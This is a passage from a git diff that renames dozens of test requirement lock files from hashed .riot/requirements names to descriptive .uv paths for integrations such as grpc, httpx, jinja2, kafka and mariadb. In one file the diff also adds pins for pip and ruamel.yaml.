.riot/requirements/3d84480.txt rename to .uv/contrib-grpc--grpc-py310-grpcio-1-42-0-grpcio-2.txt diff --git a/.riot/requirements/a42e1fb.txt b/.uv/contrib-grpc--grpc-py310-grpcio-latest-grpcio-2.txt similarity index 100% rename from .riot/requirements/a42e1fb.txt rename to .uv/contrib-grpc--grpc-py310-grpcio-latest-grpcio-2.txt diff --git a/.riot/requirements/10bb064.txt b/.uv/contrib-grpc--grpc-py311-grpcio-1-49-0-grpcio-3.txt similarity index 100% rename from .riot/requirements/10bb064.txt rename to .uv/contrib-grpc--grpc-py311-grpcio-1-49-0-grpcio-3.txt diff --git a/.riot/requirements/9a13b9a.txt b/.uv/contrib-grpc--grpc-py311-grpcio-latest-grpcio-3.txt similarity index 100% rename from .riot/requirements/9a13b9a.txt rename to .uv/contrib-grpc--grpc-py311-grpcio-latest-grpcio-3.txt diff --git a/.riot/requirements/111ed90.txt b/.uv/contrib-grpc--grpc-py312-grpcio-1-59-0-grpcio-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/111ed90.txt rename to .uv/contrib-grpc--grpc-py312-grpcio-1-59-0-grpcio-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/12bf701.txt b/.uv/contrib-grpc--grpc-py312-grpcio-latest-grpcio-pytest-asyncio-0-23-7.txt similarity index 100% rename from .riot/requirements/12bf701.txt rename to .uv/contrib-grpc--grpc-py312-grpcio-latest-grpcio-pytest-asyncio-0-23-7.txt diff --git a/.riot/requirements/1d15df5.txt b/.uv/contrib-grpc--grpc-py313-grpcio-latest.txt similarity index 100% rename from .riot/requirements/1d15df5.txt rename to .uv/contrib-grpc--grpc-py313-grpcio-latest.txt diff --git a/.riot/requirements/21a9dd6.txt b/.uv/contrib-grpc--grpc-py314-grpcio-gte-1-75-0.txt similarity index 100% rename from .riot/requirements/21a9dd6.txt rename to .uv/contrib-grpc--grpc-py314-grpcio-gte-1-75-0.txt diff --git a/.riot/requirements/51c004c.txt b/.uv/contrib-grpc--grpc-py39-grpcio-1-34-0-grpcio.txt similarity index 100% rename from .riot/requirements/51c004c.txt rename to .uv/contrib-grpc--grpc-py39-grpcio-1-34-0-grpcio.txt diff --git a/.riot/requirements/18f859e.txt b/.uv/contrib-grpc--grpc-py39-grpcio-latest-grpcio.txt similarity index 100% rename from .riot/requirements/18f859e.txt rename to .uv/contrib-grpc--grpc-py39-grpcio-latest-grpcio.txt diff --git a/.riot/requirements/6e78b72.txt b/.uv/contrib-gunicorn--gunicorn-py310-gunicorn-20-0.txt similarity index 100% rename from .riot/requirements/6e78b72.txt rename to .uv/contrib-gunicorn--gunicorn-py310-gunicorn-20-0.txt diff --git a/.riot/requirements/12a25de.txt b/.uv/contrib-gunicorn--gunicorn-py310-gunicorn-latest.txt similarity index 100% rename from .riot/requirements/12a25de.txt rename to .uv/contrib-gunicorn--gunicorn-py310-gunicorn-latest.txt diff --git a/.riot/requirements/401d7e2.txt b/.uv/contrib-gunicorn--gunicorn-py311-gunicorn-20-0.txt similarity index 100% rename from .riot/requirements/401d7e2.txt rename to .uv/contrib-gunicorn--gunicorn-py311-gunicorn-20-0.txt diff --git a/.riot/requirements/1dcce79.txt b/.uv/contrib-gunicorn--gunicorn-py311-gunicorn-latest.txt similarity index 100% rename from .riot/requirements/1dcce79.txt rename to .uv/contrib-gunicorn--gunicorn-py311-gunicorn-latest.txt diff --git a/.riot/requirements/5ddbef6.txt b/.uv/contrib-gunicorn--gunicorn-py312-gunicorn-20-0.txt similarity index 100% rename from .riot/requirements/5ddbef6.txt rename to .uv/contrib-gunicorn--gunicorn-py312-gunicorn-20-0.txt diff --git a/.riot/requirements/b1eb794.txt b/.uv/contrib-gunicorn--gunicorn-py312-gunicorn-latest.txt similarity index 100% rename from .riot/requirements/b1eb794.txt rename to .uv/contrib-gunicorn--gunicorn-py312-gunicorn-latest.txt diff --git a/.riot/requirements/c8b476b.txt b/.uv/contrib-gunicorn--gunicorn-py313-gunicorn-20-0.txt similarity index 100% rename from .riot/requirements/c8b476b.txt rename to .uv/contrib-gunicorn--gunicorn-py313-gunicorn-20-0.txt diff --git a/.riot/requirements/9a5c0d9.txt b/.uv/contrib-gunicorn--gunicorn-py313-gunicorn-latest.txt similarity index 100% rename from .riot/requirements/9a5c0d9.txt rename to .uv/contrib-gunicorn--gunicorn-py313-gunicorn-latest.txt diff --git a/.riot/requirements/1622fff.txt b/.uv/contrib-gunicorn--gunicorn-py314-gunicorn-20-0.txt similarity index 100% rename from .riot/requirements/1622fff.txt rename to .uv/contrib-gunicorn--gunicorn-py314-gunicorn-20-0.txt diff --git a/.riot/requirements/da475fd.txt b/.uv/contrib-gunicorn--gunicorn-py314-gunicorn-latest.txt similarity index 100% rename from .riot/requirements/da475fd.txt rename to .uv/contrib-gunicorn--gunicorn-py314-gunicorn-latest.txt diff --git a/.riot/requirements/1ddcf3c.txt b/.uv/contrib-gunicorn--gunicorn-py39-gunicorn-20-0.txt similarity index 100% rename from .riot/requirements/1ddcf3c.txt rename to .uv/contrib-gunicorn--gunicorn-py39-gunicorn-20-0.txt diff --git a/.riot/requirements/1a736ea.txt b/.uv/contrib-gunicorn--gunicorn-py39-gunicorn-latest.txt similarity index 100% rename from .riot/requirements/1a736ea.txt rename to .uv/contrib-gunicorn--gunicorn-py39-gunicorn-latest.txt diff --git a/.riot/requirements/75d9e47.txt b/.uv/contrib-httplib--httplib-py310.txt similarity index 100% rename from .riot/requirements/75d9e47.txt rename to .uv/contrib-httplib--httplib-py310.txt diff --git a/.riot/requirements/92fcc12.txt b/.uv/contrib-httplib--httplib-py311.txt similarity index 100% rename from .riot/requirements/92fcc12.txt rename to .uv/contrib-httplib--httplib-py311.txt diff --git a/.riot/requirements/174d88f.txt b/.uv/contrib-httplib--httplib-py312.txt similarity index 100% rename from .riot/requirements/174d88f.txt rename to .uv/contrib-httplib--httplib-py312.txt diff --git a/.riot/requirements/bebdd41.txt b/.uv/contrib-httplib--httplib-py313.txt similarity index 100% rename from .riot/requirements/bebdd41.txt rename to .uv/contrib-httplib--httplib-py313.txt diff --git a/.riot/requirements/105c431.txt b/.uv/contrib-httplib--httplib-py314.txt similarity index 100% rename from .riot/requirements/105c431.txt rename to .uv/contrib-httplib--httplib-py314.txt diff --git a/.riot/requirements/1609bd2.txt b/.uv/contrib-httplib--httplib-py39.txt similarity index 100% rename from .riot/requirements/1609bd2.txt rename to .uv/contrib-httplib--httplib-py39.txt diff --git a/.riot/requirements/b4e5c07.txt b/.uv/contrib-httpx--httpx-py310-httpx-0-25-0-variant-1.txt similarity index 100% rename from .riot/requirements/b4e5c07.txt rename to .uv/contrib-httpx--httpx-py310-httpx-0-25-0-variant-1.txt diff --git a/.riot/requirements/1819a02.txt b/.uv/contrib-httpx--httpx-py310-httpx-0-27-0-variant-1.txt similarity index 100% rename from .riot/requirements/1819a02.txt rename to .uv/contrib-httpx--httpx-py310-httpx-0-27-0-variant-1.txt diff --git a/.riot/requirements/14859e9.txt b/.uv/contrib-httpx--httpx-py310-httpx-latest-variant-1.txt similarity index 100% rename from .riot/requirements/14859e9.txt rename to .uv/contrib-httpx--httpx-py310-httpx-latest-variant-1.txt diff --git a/.riot/requirements/cac5000.txt b/.uv/contrib-httpx--httpx-py311-httpx-0-25-0-variant-1.txt similarity index 100% rename from .riot/requirements/cac5000.txt rename to .uv/contrib-httpx--httpx-py311-httpx-0-25-0-variant-1.txt diff --git a/.riot/requirements/10e0262.txt b/.uv/contrib-httpx--httpx-py311-httpx-0-27-0-variant-1.txt similarity index 100% rename from .riot/requirements/10e0262.txt rename to .uv/contrib-httpx--httpx-py311-httpx-0-27-0-variant-1.txt diff --git a/.riot/requirements/113ca1f.txt b/.uv/contrib-httpx--httpx-py311-httpx-latest-variant-1.txt similarity index 100% rename from .riot/requirements/113ca1f.txt rename to .uv/contrib-httpx--httpx-py311-httpx-latest-variant-1.txt diff --git a/.riot/requirements/b44f8fd.txt b/.uv/contrib-httpx--httpx-py312-httpx-0-25-0-variant-1.txt similarity index 100% rename from .riot/requirements/b44f8fd.txt rename to .uv/contrib-httpx--httpx-py312-httpx-0-25-0-variant-1.txt diff --git a/.riot/requirements/19c8864.txt b/.uv/contrib-httpx--httpx-py312-httpx-0-27-0-variant-1.txt similarity index 100% rename from .riot/requirements/19c8864.txt rename to .uv/contrib-httpx--httpx-py312-httpx-0-27-0-variant-1.txt diff --git a/.riot/requirements/a4fc6be.txt b/.uv/contrib-httpx--httpx-py312-httpx-latest-variant-1.txt similarity index 100% rename from .riot/requirements/a4fc6be.txt rename to .uv/contrib-httpx--httpx-py312-httpx-latest-variant-1.txt diff --git a/.riot/requirements/11c88b9.txt b/.uv/contrib-httpx--httpx-py313-httpx-0-25-0-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/11c88b9.txt rename to .uv/contrib-httpx--httpx-py313-httpx-0-25-0-legacy-cgi-latest.txt diff --git a/.riot/requirements/193762c.txt b/.uv/contrib-httpx--httpx-py313-httpx-0-27-0-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/193762c.txt rename to .uv/contrib-httpx--httpx-py313-httpx-0-27-0-legacy-cgi-latest.txt diff --git a/.riot/requirements/1e457f1.txt b/.uv/contrib-httpx--httpx-py313-httpx-latest-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/1e457f1.txt rename to .uv/contrib-httpx--httpx-py313-httpx-latest-legacy-cgi-latest.txt diff --git a/.riot/requirements/163bc46.txt b/.uv/contrib-httpx--httpx-py314-httpx-0-25-0-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/163bc46.txt rename to .uv/contrib-httpx--httpx-py314-httpx-0-25-0-legacy-cgi-latest.txt diff --git a/.riot/requirements/3934da1.txt b/.uv/contrib-httpx--httpx-py314-httpx-0-27-0-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/3934da1.txt rename to .uv/contrib-httpx--httpx-py314-httpx-0-27-0-legacy-cgi-latest.txt diff --git a/.riot/requirements/f30334b.txt b/.uv/contrib-httpx--httpx-py314-httpx-latest-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/f30334b.txt rename to .uv/contrib-httpx--httpx-py314-httpx-latest-legacy-cgi-latest.txt diff --git a/.riot/requirements/cf1ae9f.txt b/.uv/contrib-httpx--httpx-py39-httpx-0-25-0-variant-1.txt similarity index 100% rename from .riot/requirements/cf1ae9f.txt rename to .uv/contrib-httpx--httpx-py39-httpx-0-25-0-variant-1.txt diff --git a/.riot/requirements/9f95734.txt b/.uv/contrib-httpx--httpx-py39-httpx-0-27-0-variant-1.txt similarity index 100% rename from .riot/requirements/9f95734.txt rename to .uv/contrib-httpx--httpx-py39-httpx-0-27-0-variant-1.txt diff --git a/.riot/requirements/77b1594.txt b/.uv/contrib-httpx--httpx-py39-httpx-latest-variant-1.txt similarity index 100% rename from .riot/requirements/77b1594.txt rename to .uv/contrib-httpx--httpx-py39-httpx-latest-variant-1.txt diff --git a/.riot/requirements/2e9f3b5.txt b/.uv/contrib-integration-registry--integration-registry-py313.txt similarity index 96% rename from .riot/requirements/2e9f3b5.txt rename to .uv/contrib-integration-registry--integration-registry-py313.txt index 2de2ceffe73..3bbfc5b5448 100644 --- a/.riot/requirements/2e9f3b5.txt +++ b/.uv/contrib-integration-registry--integration-registry-py313.txt @@ -19,6 +19,7 @@ mock==5.2.0 opentracing==2.4.0 packaging==26.2 pexpect==4.9.0 +pip==26.2.1 platformdirs==4.9.6 pluggy==1.6.0 ptyprocess==0.7.0 @@ -33,6 +34,7 @@ referencing==0.37.0 rich==15.0.0 riot==0.22.0 rpds-py==0.30.0 +ruamel.yaml==0.18.6 sortedcontainers==2.4.0 virtualenv==20.39.1 diff --git a/.riot/requirements/11c2588.txt b/.uv/contrib-jinja2--jinja2-py310-jinja2-3-0-0-jinja2.txt similarity index 100% rename from .riot/requirements/11c2588.txt rename to .uv/contrib-jinja2--jinja2-py310-jinja2-3-0-0-jinja2.txt diff --git a/.riot/requirements/2b4e2d5.txt b/.uv/contrib-jinja2--jinja2-py310-jinja2-latest-jinja2.txt similarity index 100% rename from .riot/requirements/2b4e2d5.txt rename to .uv/contrib-jinja2--jinja2-py310-jinja2-latest-jinja2.txt diff --git a/.riot/requirements/12c877d.txt b/.uv/contrib-jinja2--jinja2-py311-jinja2-3-0-0-jinja2.txt similarity index 100% rename from .riot/requirements/12c877d.txt rename to .uv/contrib-jinja2--jinja2-py311-jinja2-3-0-0-jinja2.txt diff --git a/.riot/requirements/8049cd3.txt b/.uv/contrib-jinja2--jinja2-py311-jinja2-latest-jinja2.txt similarity index 100% rename from .riot/requirements/8049cd3.txt rename to .uv/contrib-jinja2--jinja2-py311-jinja2-latest-jinja2.txt diff --git a/.riot/requirements/9204343.txt b/.uv/contrib-jinja2--jinja2-py312-jinja2-3-0-0-jinja2.txt similarity index 100% rename from .riot/requirements/9204343.txt rename to .uv/contrib-jinja2--jinja2-py312-jinja2-3-0-0-jinja2.txt diff --git a/.riot/requirements/11868bf.txt b/.uv/contrib-jinja2--jinja2-py312-jinja2-latest-jinja2.txt similarity index 100% rename from .riot/requirements/11868bf.txt rename to .uv/contrib-jinja2--jinja2-py312-jinja2-latest-jinja2.txt diff --git a/.riot/requirements/1fa3005.txt b/.uv/contrib-jinja2--jinja2-py313-jinja2-3-0-0-jinja2.txt similarity index 100% rename from .riot/requirements/1fa3005.txt rename to .uv/contrib-jinja2--jinja2-py313-jinja2-3-0-0-jinja2.txt diff --git a/.riot/requirements/167b853.txt b/.uv/contrib-jinja2--jinja2-py313-jinja2-latest-jinja2.txt similarity index 100% rename from .riot/requirements/167b853.txt rename to .uv/contrib-jinja2--jinja2-py313-jinja2-latest-jinja2.txt diff --git a/.riot/requirements/c952599.txt b/.uv/contrib-jinja2--jinja2-py314-jinja2-3-0-0-jinja2.txt similarity index 100% rename from .riot/requirements/c952599.txt rename to .uv/contrib-jinja2--jinja2-py314-jinja2-3-0-0-jinja2.txt diff --git a/.riot/requirements/13f9d79.txt b/.uv/contrib-jinja2--jinja2-py314-jinja2-latest-jinja2.txt similarity index 100% rename from .riot/requirements/13f9d79.txt rename to .uv/contrib-jinja2--jinja2-py314-jinja2-latest-jinja2.txt diff --git a/.riot/requirements/1e87e36.txt b/.uv/contrib-jinja2--jinja2-py39-jinja2-2-10-0-markupsafe-lt-2-0.txt similarity index 100% rename from .riot/requirements/1e87e36.txt rename to .uv/contrib-jinja2--jinja2-py39-jinja2-2-10-0-markupsafe-lt-2-0.txt diff --git a/.riot/requirements/45f9c27.txt b/.uv/contrib-jinja2--jinja2-py39-jinja2-3-0-0-jinja2.txt similarity index 100% rename from .riot/requirements/45f9c27.txt rename to .uv/contrib-jinja2--jinja2-py39-jinja2-3-0-0-jinja2.txt diff --git a/.riot/requirements/1b1913f.txt b/.uv/contrib-jinja2--jinja2-py39-jinja2-latest-jinja2.txt similarity index 100% rename from .riot/requirements/1b1913f.txt rename to .uv/contrib-jinja2--jinja2-py39-jinja2-latest-jinja2.txt diff --git a/.riot/requirements/20e4398.txt b/.uv/contrib-kafka--kafka-py310-confluent-kafka-1-9-2-confluent-kafka.txt similarity index 100% rename from .riot/requirements/20e4398.txt rename to .uv/contrib-kafka--kafka-py310-confluent-kafka-1-9-2-confluent-kafka.txt diff --git a/.riot/requirements/282a7b4.txt b/.uv/contrib-kafka--kafka-py310-confluent-kafka-latest-confluent-kafka.txt similarity index 100% rename from .riot/requirements/282a7b4.txt rename to .uv/contrib-kafka--kafka-py310-confluent-kafka-latest-confluent-kafka.txt diff --git a/.riot/requirements/7359c8e.txt b/.uv/contrib-kafka--kafka-py311-confluent-kafka-latest.txt similarity index 100% rename from .riot/requirements/7359c8e.txt rename to .uv/contrib-kafka--kafka-py311-confluent-kafka-latest.txt diff --git a/.riot/requirements/1bbd711.txt b/.uv/contrib-kafka--kafka-py312-confluent-kafka-latest.txt similarity index 100% rename from .riot/requirements/1bbd711.txt rename to .uv/contrib-kafka--kafka-py312-confluent-kafka-latest.txt diff --git a/.riot/requirements/1763009.txt b/.uv/contrib-kafka--kafka-py313-confluent-kafka-latest.txt similarity index 100% rename from .riot/requirements/1763009.txt rename to .uv/contrib-kafka--kafka-py313-confluent-kafka-latest.txt diff --git a/.riot/requirements/189633d.txt b/.uv/contrib-kafka--kafka-py39-confluent-kafka-1-9-2-confluent-kafka.txt similarity index 100% rename from .riot/requirements/189633d.txt rename to .uv/contrib-kafka--kafka-py39-confluent-kafka-1-9-2-confluent-kafka.txt diff --git a/.riot/requirements/4354fc5.txt b/.uv/contrib-kafka--kafka-py39-confluent-kafka-latest-confluent-kafka.txt similarity index 100% rename from .riot/requirements/4354fc5.txt rename to .uv/contrib-kafka--kafka-py39-confluent-kafka-latest-confluent-kafka.txt diff --git a/.riot/requirements/c285110.txt b/.uv/contrib-kombu--kombu-py310-kombu-gte-5-2-lt-5-3-kombu-2.txt similarity index 100% rename from .riot/requirements/c285110.txt rename to .uv/contrib-kombu--kombu-py310-kombu-gte-5-2-lt-5-3-kombu-2.txt diff --git a/.riot/requirements/1e82f55.txt b/.uv/contrib-kombu--kombu-py310-kombu-latest-kombu-2.txt similarity index 100% rename from .riot/requirements/1e82f55.txt rename to .uv/contrib-kombu--kombu-py310-kombu-latest-kombu-2.txt diff --git a/.riot/requirements/1030725.txt b/.uv/contrib-kombu--kombu-py311-kombu-gte-5-2-lt-5-3-kombu-2.txt similarity index 100% rename from .riot/requirements/1030725.txt rename to .uv/contrib-kombu--kombu-py311-kombu-gte-5-2-lt-5-3-kombu-2.txt diff --git a/.riot/requirements/1959ed5.txt b/.uv/contrib-kombu--kombu-py311-kombu-latest-kombu-2.txt similarity index 100% rename from .riot/requirements/1959ed5.txt rename to .uv/contrib-kombu--kombu-py311-kombu-latest-kombu-2.txt diff --git a/.riot/requirements/67c0ba5.txt b/.uv/contrib-kombu--kombu-py312-kombu-latest.txt similarity index 100% rename from .riot/requirements/67c0ba5.txt rename to .uv/contrib-kombu--kombu-py312-kombu-latest.txt diff --git a/.riot/requirements/9a07d4a.txt b/.uv/contrib-kombu--kombu-py313-kombu-latest.txt similarity index 100% rename from .riot/requirements/9a07d4a.txt rename to .uv/contrib-kombu--kombu-py313-kombu-latest.txt diff --git a/.riot/requirements/b9fa4af.txt b/.uv/contrib-kombu--kombu-py314-kombu-latest.txt similarity index 100% rename from .riot/requirements/b9fa4af.txt rename to .uv/contrib-kombu--kombu-py314-kombu-latest.txt diff --git a/.riot/requirements/f81bf39.txt b/.uv/contrib-kombu--kombu-py39-kombu-gte-4-6-lt-4-7-kombu.txt similarity index 100% rename from .riot/requirements/f81bf39.txt rename to .uv/contrib-kombu--kombu-py39-kombu-gte-4-6-lt-4-7-kombu.txt diff --git a/.riot/requirements/7c88ce5.txt b/.uv/contrib-kombu--kombu-py39-kombu-gte-5-0-lt-5-1-kombu.txt similarity index 100% rename from .riot/requirements/7c88ce5.txt rename to .uv/contrib-kombu--kombu-py39-kombu-gte-5-0-lt-5-1-kombu.txt diff --git a/.riot/requirements/12aafe0.txt b/.uv/contrib-kombu--kombu-py39-kombu-latest-kombu.txt similarity index 100% rename from .riot/requirements/12aafe0.txt rename to .uv/contrib-kombu--kombu-py39-kombu-latest-kombu.txt diff --git a/.riot/requirements/98b02a4.txt b/.uv/contrib-logbook--logbook-py310-logbook-1-0.txt similarity index 100% rename from .riot/requirements/98b02a4.txt rename to .uv/contrib-logbook--logbook-py310-logbook-1-0.txt diff --git a/.riot/requirements/187df5b.txt b/.uv/contrib-logbook--logbook-py310-logbook-latest.txt similarity index 100% rename from .riot/requirements/187df5b.txt rename to .uv/contrib-logbook--logbook-py310-logbook-latest.txt diff --git a/.riot/requirements/d0116c6.txt b/.uv/contrib-logbook--logbook-py311-logbook-1-0.txt similarity index 100% rename from .riot/requirements/d0116c6.txt rename to .uv/contrib-logbook--logbook-py311-logbook-1-0.txt diff --git a/.riot/requirements/f027911.txt b/.uv/contrib-logbook--logbook-py311-logbook-latest.txt similarity index 100% rename from .riot/requirements/f027911.txt rename to .uv/contrib-logbook--logbook-py311-logbook-latest.txt diff --git a/.riot/requirements/1d45d3e.txt b/.uv/contrib-logbook--logbook-py312-logbook-1-0.txt similarity index 100% rename from .riot/requirements/1d45d3e.txt rename to .uv/contrib-logbook--logbook-py312-logbook-1-0.txt diff --git a/.riot/requirements/1a8b5b1.txt b/.uv/contrib-logbook--logbook-py312-logbook-latest.txt similarity index 100% rename from .riot/requirements/1a8b5b1.txt rename to .uv/contrib-logbook--logbook-py312-logbook-latest.txt diff --git a/.riot/requirements/104f450.txt b/.uv/contrib-logbook--logbook-py313-logbook-1-0.txt similarity index 100% rename from .riot/requirements/104f450.txt rename to .uv/contrib-logbook--logbook-py313-logbook-1-0.txt diff --git a/.riot/requirements/178f7d5.txt b/.uv/contrib-logbook--logbook-py313-logbook-latest.txt similarity index 100% rename from .riot/requirements/178f7d5.txt rename to .uv/contrib-logbook--logbook-py313-logbook-latest.txt diff --git a/.riot/requirements/10b3343.txt b/.uv/contrib-logbook--logbook-py314-logbook-1-0.txt similarity index 100% rename from .riot/requirements/10b3343.txt rename to .uv/contrib-logbook--logbook-py314-logbook-1-0.txt diff --git a/.riot/requirements/161b2ce.txt b/.uv/contrib-logbook--logbook-py314-logbook-latest.txt similarity index 100% rename from .riot/requirements/161b2ce.txt rename to .uv/contrib-logbook--logbook-py314-logbook-latest.txt diff --git a/.riot/requirements/12bb48f.txt b/.uv/contrib-logbook--logbook-py39-logbook-1-0.txt similarity index 100% rename from .riot/requirements/12bb48f.txt rename to .uv/contrib-logbook--logbook-py39-logbook-1-0.txt diff --git a/.riot/requirements/1e5b9c4.txt b/.uv/contrib-logbook--logbook-py39-logbook-latest.txt similarity index 100% rename from .riot/requirements/1e5b9c4.txt rename to .uv/contrib-logbook--logbook-py39-logbook-latest.txt diff --git a/.riot/requirements/112b805.txt b/.uv/contrib-logging--logging-py310.txt similarity index 100% rename from .riot/requirements/112b805.txt rename to .uv/contrib-logging--logging-py310.txt diff --git a/.riot/requirements/588e8fa.txt b/.uv/contrib-logging--logging-py311.txt similarity index 100% rename from .riot/requirements/588e8fa.txt rename to .uv/contrib-logging--logging-py311.txt diff --git a/.riot/requirements/1e3d6f0.txt b/.uv/contrib-logging--logging-py312.txt similarity index 100% rename from .riot/requirements/1e3d6f0.txt rename to .uv/contrib-logging--logging-py312.txt diff --git a/.riot/requirements/17c1db9.txt b/.uv/contrib-logging--logging-py313.txt similarity index 100% rename from .riot/requirements/17c1db9.txt rename to .uv/contrib-logging--logging-py313.txt diff --git a/.riot/requirements/aa8261a.txt b/.uv/contrib-logging--logging-py314.txt similarity index 100% rename from .riot/requirements/aa8261a.txt rename to .uv/contrib-logging--logging-py314.txt diff --git a/.riot/requirements/1ceebcd.txt b/.uv/contrib-logging--logging-py39.txt similarity index 100% rename from .riot/requirements/1ceebcd.txt rename to .uv/contrib-logging--logging-py39.txt diff --git a/.riot/requirements/14c793e.txt b/.uv/contrib-loguru--loguru-py310-loguru-0-4.txt similarity index 100% rename from .riot/requirements/14c793e.txt rename to .uv/contrib-loguru--loguru-py310-loguru-0-4.txt diff --git a/.riot/requirements/da79693.txt b/.uv/contrib-loguru--loguru-py310-loguru-latest.txt similarity index 100% rename from .riot/requirements/da79693.txt rename to .uv/contrib-loguru--loguru-py310-loguru-latest.txt diff --git a/.riot/requirements/18a6687.txt b/.uv/contrib-loguru--loguru-py311-loguru-0-4.txt similarity index 100% rename from .riot/requirements/18a6687.txt rename to .uv/contrib-loguru--loguru-py311-loguru-0-4.txt diff --git a/.riot/requirements/134bcdd.txt b/.uv/contrib-loguru--loguru-py311-loguru-latest.txt similarity index 100% rename from .riot/requirements/134bcdd.txt rename to .uv/contrib-loguru--loguru-py311-loguru-latest.txt diff --git a/.riot/requirements/f151048.txt b/.uv/contrib-loguru--loguru-py312-loguru-0-4.txt similarity index 100% rename from .riot/requirements/f151048.txt rename to .uv/contrib-loguru--loguru-py312-loguru-0-4.txt diff --git a/.riot/requirements/2da4f4c.txt b/.uv/contrib-loguru--loguru-py312-loguru-latest.txt similarity index 100% rename from .riot/requirements/2da4f4c.txt rename to .uv/contrib-loguru--loguru-py312-loguru-latest.txt diff --git a/.riot/requirements/17d40ef.txt b/.uv/contrib-loguru--loguru-py313-loguru-0-4.txt similarity index 100% rename from .riot/requirements/17d40ef.txt rename to .uv/contrib-loguru--loguru-py313-loguru-0-4.txt diff --git a/.riot/requirements/13ae267.txt b/.uv/contrib-loguru--loguru-py313-loguru-latest.txt similarity index 100% rename from .riot/requirements/13ae267.txt rename to .uv/contrib-loguru--loguru-py313-loguru-latest.txt diff --git a/.riot/requirements/559bbf2.txt b/.uv/contrib-loguru--loguru-py314-loguru-0-4.txt similarity index 100% rename from .riot/requirements/559bbf2.txt rename to .uv/contrib-loguru--loguru-py314-loguru-0-4.txt diff --git a/.riot/requirements/1038948.txt b/.uv/contrib-loguru--loguru-py314-loguru-latest.txt similarity index 100% rename from .riot/requirements/1038948.txt rename to .uv/contrib-loguru--loguru-py314-loguru-latest.txt diff --git a/.riot/requirements/1560cbf.txt b/.uv/contrib-loguru--loguru-py39-loguru-0-4.txt similarity index 100% rename from .riot/requirements/1560cbf.txt rename to .uv/contrib-loguru--loguru-py39-loguru-0-4.txt diff --git a/.riot/requirements/23e7ade.txt b/.uv/contrib-loguru--loguru-py39-loguru-latest.txt similarity index 100% rename from .riot/requirements/23e7ade.txt rename to .uv/contrib-loguru--loguru-py39-loguru-latest.txt diff --git a/.riot/requirements/4b9ed85.txt b/.uv/contrib-mako--mako-py310-mako-1-0-0.txt similarity index 100% rename from .riot/requirements/4b9ed85.txt rename to .uv/contrib-mako--mako-py310-mako-1-0-0.txt diff --git a/.riot/requirements/14ebf3b.txt b/.uv/contrib-mako--mako-py310-mako-latest.txt similarity index 100% rename from .riot/requirements/14ebf3b.txt rename to .uv/contrib-mako--mako-py310-mako-latest.txt diff --git a/.riot/requirements/1753169.txt b/.uv/contrib-mako--mako-py311-mako-1-0-0.txt similarity index 100% rename from .riot/requirements/1753169.txt rename to .uv/contrib-mako--mako-py311-mako-1-0-0.txt diff --git a/.riot/requirements/e8d8aa5.txt b/.uv/contrib-mako--mako-py311-mako-latest.txt similarity index 100% rename from .riot/requirements/e8d8aa5.txt rename to .uv/contrib-mako--mako-py311-mako-latest.txt diff --git a/.riot/requirements/c8ff47b.txt b/.uv/contrib-mako--mako-py312-mako-1-0-0.txt similarity index 100% rename from .riot/requirements/c8ff47b.txt rename to .uv/contrib-mako--mako-py312-mako-1-0-0.txt diff --git a/.riot/requirements/175d0d6.txt b/.uv/contrib-mako--mako-py312-mako-latest.txt similarity index 100% rename from .riot/requirements/175d0d6.txt rename to .uv/contrib-mako--mako-py312-mako-latest.txt diff --git a/.riot/requirements/7263bf5.txt b/.uv/contrib-mako--mako-py313-mako-1-0-0.txt similarity index 100% rename from .riot/requirements/7263bf5.txt rename to .uv/contrib-mako--mako-py313-mako-1-0-0.txt diff --git a/.riot/requirements/27d0ff8.txt b/.uv/contrib-mako--mako-py313-mako-latest.txt similarity index 100% rename from .riot/requirements/27d0ff8.txt rename to .uv/contrib-mako--mako-py313-mako-latest.txt diff --git a/.riot/requirements/19c85cf.txt b/.uv/contrib-mako--mako-py314-mako-1-0-0.txt similarity index 100% rename from .riot/requirements/19c85cf.txt rename to .uv/contrib-mako--mako-py314-mako-1-0-0.txt diff --git a/.riot/requirements/1afeb67.txt b/.uv/contrib-mako--mako-py314-mako-latest.txt similarity index 100% rename from .riot/requirements/1afeb67.txt rename to .uv/contrib-mako--mako-py314-mako-latest.txt diff --git a/.riot/requirements/a972630.txt b/.uv/contrib-mako--mako-py39-mako-1-0-0.txt similarity index 100% rename from .riot/requirements/a972630.txt rename to .uv/contrib-mako--mako-py39-mako-1-0-0.txt diff --git a/.riot/requirements/1e53fef.txt b/.uv/contrib-mako--mako-py39-mako-latest.txt similarity index 100% rename from .riot/requirements/1e53fef.txt rename to .uv/contrib-mako--mako-py39-mako-latest.txt diff --git a/.riot/requirements/85acf6e.txt b/.uv/contrib-mariadb--mariadb-py310-mariadb-1-0-0-mariadb.txt similarity index 100% rename from .riot/requirements/85acf6e.txt rename to .uv/contrib-mariadb--mariadb-py310-mariadb-1-0-0-mariadb.txt diff --git a/.riot/requirements/fb50881.txt b/.uv/contrib-mariadb--mariadb-py310-mariadb-1-0-mariadb.txt similarity index 100% rename from .riot/requirements/fb50881.txt rename to .uv/contrib-mariadb--mariadb-py310-mariadb-1-0-mariadb.txt diff --git a/.riot/requirements/1e0ec0b.txt b/.uv/contrib-mariadb--mariadb-py310-mariadb-latest-mariadb.txt similarity index 100% rename from .riot/requirements/1e0ec0b.txt rename to .uv/contrib-mariadb--mariadb-py310-mariadb-latest-mariadb.txt diff --git a/.riot/requirements/12cb0e7.txt b/.uv/contrib-mariadb--mariadb-py311-mariadb-1-1-2-mariadb-2.txt similarity index 100% rename from .riot/requirements/12cb0e7.txt rename to .uv/contrib-mariadb--mariadb-py311-mariadb-1-1-2-mariadb-2.txt diff --git a/.riot/requirements/769aa27.txt b/.uv/contrib-mariadb--mariadb-py311-mariadb-latest-mariadb-2.txt similarity index 100% rename from .riot/requirements/769aa27.txt rename to .uv/contrib-mariadb--mariadb-py311-mariadb-latest-mariadb-2.txt diff --git a/.riot/requirements/4ed631d.txt b/.uv/contrib-mariadb--mariadb-py312-mariadb-1-1-2-mariadb-2.txt similarity index 100% rename from .riot/requirements/4ed631d.txt rename to .uv/contrib-mariadb--mariadb-py312-mariadb-1-1-2-mariadb-2.txt diff --git a/.riot/requirements/1050efa.txt 